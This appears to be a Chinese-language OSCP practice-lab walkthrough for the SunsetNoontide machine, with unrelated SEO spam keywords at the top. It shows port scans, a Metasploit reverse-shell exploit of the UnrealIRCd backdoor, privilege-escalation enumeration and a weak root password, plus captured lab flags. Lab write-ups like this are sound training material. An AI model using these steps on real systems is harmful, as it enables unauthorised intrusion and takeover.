哪些网站做免费送东西的广告,如何知道网站的字体,wordpress 没有数据库,网页建站系统OSCP系列靶场-Esay-SunsetNoontide 目录 OSCP系列靶场-Esay-SunsetNoontide总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试chatgpt学习 漏洞利用-getwebshell漏洞利用-unrealircd 内网遨游-getshell交互shellFLAG1获取信息收集-内网基础…OSCP系列靶场-Esay-SunsetNoontide 目录 OSCP系列靶场-Esay-SunsetNoontide总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试chatgpt学习 漏洞利用-getwebshell漏洞利用-unrealircd 内网遨游-getshell交互shellFLAG1获取信息收集-内网基础信息收集检测Linux操作系统的发行版本检测Linux操作系统的内核版本检测当前用户的权限列举出所有的sudo文件列举出所有suid文件/etc/passwd权限收集/etc/shadow权限收集getcap标志进程收集列举定时任务查看历史信息(无)确认/home目录下信息确认当前用户home目录下是否有隐藏文件 权限提升su弱密码提权FLAG2获取 后记 总结
getwebshell : nmap发现UnrealIRCd → irc漏洞利用
提 权 思 路 : su弱密码提权
准备工作
启动VPN 获取攻击机IP → 192.168.45.239 启动靶机 获取目标机器IP → 192.168.172.120 信息收集-端口扫描
目标开放端口收集 Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.172.120PORT STATE SERVICE
6667/tcp open irc
6697/tcp open ircs-u
8067/tcp open infi-async 开放的端口-→6667,6697,8067
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p6667,6697,8067 192.168.172.120PORT STATE SERVICE VERSION
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd (Admin email exampleexample.com)信息收集-端口测试
根据探测的端口进行进一步的测试这三个端口没有见过nmap探测开放的服务都是irc 版本是UnrealIRCd探测到了邮箱内容 Admin email exampleexample.com通过搜索可以确定UnrealIRCd是开源存在漏洞的情况较大
chatgpt学习
粗略的了解一下内容 漏洞利用-getwebshell
漏洞利用-unrealircd
在遇到不知道的情况下可以借助msf帮助
msf6 → searchsploit unrealircd但是我们不确定版本在没思路的情况下尝试盲打首先选用msf自带的
msfconsole
msf6 → search unrealircdmsf6 → use 0
msf6 → show options确定了只需要目标以及端口 msf6 → set rhosts 192.168.172.120
msf6 → set payload 7选择反弹shell msf6 → set lhost 192.168.45.239设置监听host运行得到shell
内网遨游-getshell
交互shell
由于获取的shell交互不友好利用python获得新的交互shell
# 如果是msf的要先shell
shell发现shell失败 # 利用python获取交互shell - python失败使用python3
python -c import pty;pty.spawn(/bin/bash);FLAG1获取
servernoontide:~/irc/Unreal3.2$ find / -name local.txt 2/dev/null
/home/server/local.txt
servernoontide:~/irc/Unreal3.2$ cat /home/server/local.txt
ed03c20077957b11b1b936f8a70fd0c4信息收集-内网基础信息收集
提权的本质在于枚举在获取shell之后我们要进行内网信息的收集都是为了提权做准备
检测Linux操作系统的发行版本
较老的Ubuntu以及Linux系统可以overlayfs提权
# 确定发行版本
servernoontide:~/irc/Unreal3.2$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster发行版本为Debian不太能overlayfs提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛提权
servernoontide:~/irc/Unreal3.2$ uname -a
Linux noontide 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux内核版本为4.19.0
检测当前用户的权限
servernoontide:~/irc/Unreal3.2$ id
uid1000(server) gid1000(server) groups1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)列举出所有的sudo文件
查找具有sudo权限且不需要密码的可提权文件 如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
# 利用sudo -l寻找
servernoontide:~/irc/Unreal3.2$ sudo -l
bash: sudo: command not found发现不存在sudo 列举出所有suid文件
如果发现us有东西的话 访问 https://gtfobins.github.io 寻找
# -perm 文件权限
servernoontide:~/irc/Unreal3.2$ find / -perm -us -type f 2/dev/null
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper/etc/passwd权限收集
如果/etc/passwd具有写入权限可以尝试覆盖密码提权
servernoontide:~/irc/Unreal3.2$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1440 Aug 8 2020 /etc/passwd/etc/shadow权限收集
如果/etc/shadow具有写入权限可以尝试覆盖密码提权如果/etc/shadow具有可读权限可以爆破密码
servernoontide:~/irc/Unreal3.2$ ls -al /etc/shadow
-rw-r----- 1 root shadow 950 Dec 3 2020 /etc/shadowgetcap标志进程收集
高版本下suid列举不全查看getcap
# 探查有CAP_SETUID标志的进程
servernoontide:~/irc/Unreal3.2$ /usr/sbin/getcap -r / 2/dev/null
/usr/bin/ping cap_net_rawep列举定时任务
查找所有的定时任务并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab查看历史信息(无)
可能用户留下的历史信息具有有用的信息
history确认/home目录下信息
/home目录下的用户可以做账号字典尝试弱密码以及爆破
servernoontide:~/irc/Unreal3.2$ ls -al /home
drwxr-xr-x 3 server server 4096 Dec 3 2020 server确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码 ./*_history找历史记录等
ls -al /home/server找到一个文件 默认编辑器是nano
# Generated by /usr/bin/select-editor SELECTED_EDITOR/bin/nano权限提升
su弱密码提权
servernoontide:~/irc$ su
Password: rootrootnoontide:/home/server/irc# id
uid0(root) gid0(root) groups0(root) FLAG2获取
rootnoontide:/home/server/irc# cat /root/proof.txt
b6dd9e1ceb4383125727e3101987689d完结撒花~ 后记
以后提权尝试第一条 su 弱密码应该在利用sudo发现没有命令的时候尝试一下
了解了一下漏洞原理
cat /usr/share/exploitdb/exploits/linux/remote/13853.pl大致利用思路 是连接6667端口时直接插入 AB;payload 利用;可以绕过进行命令执行这里下载远程文件并执行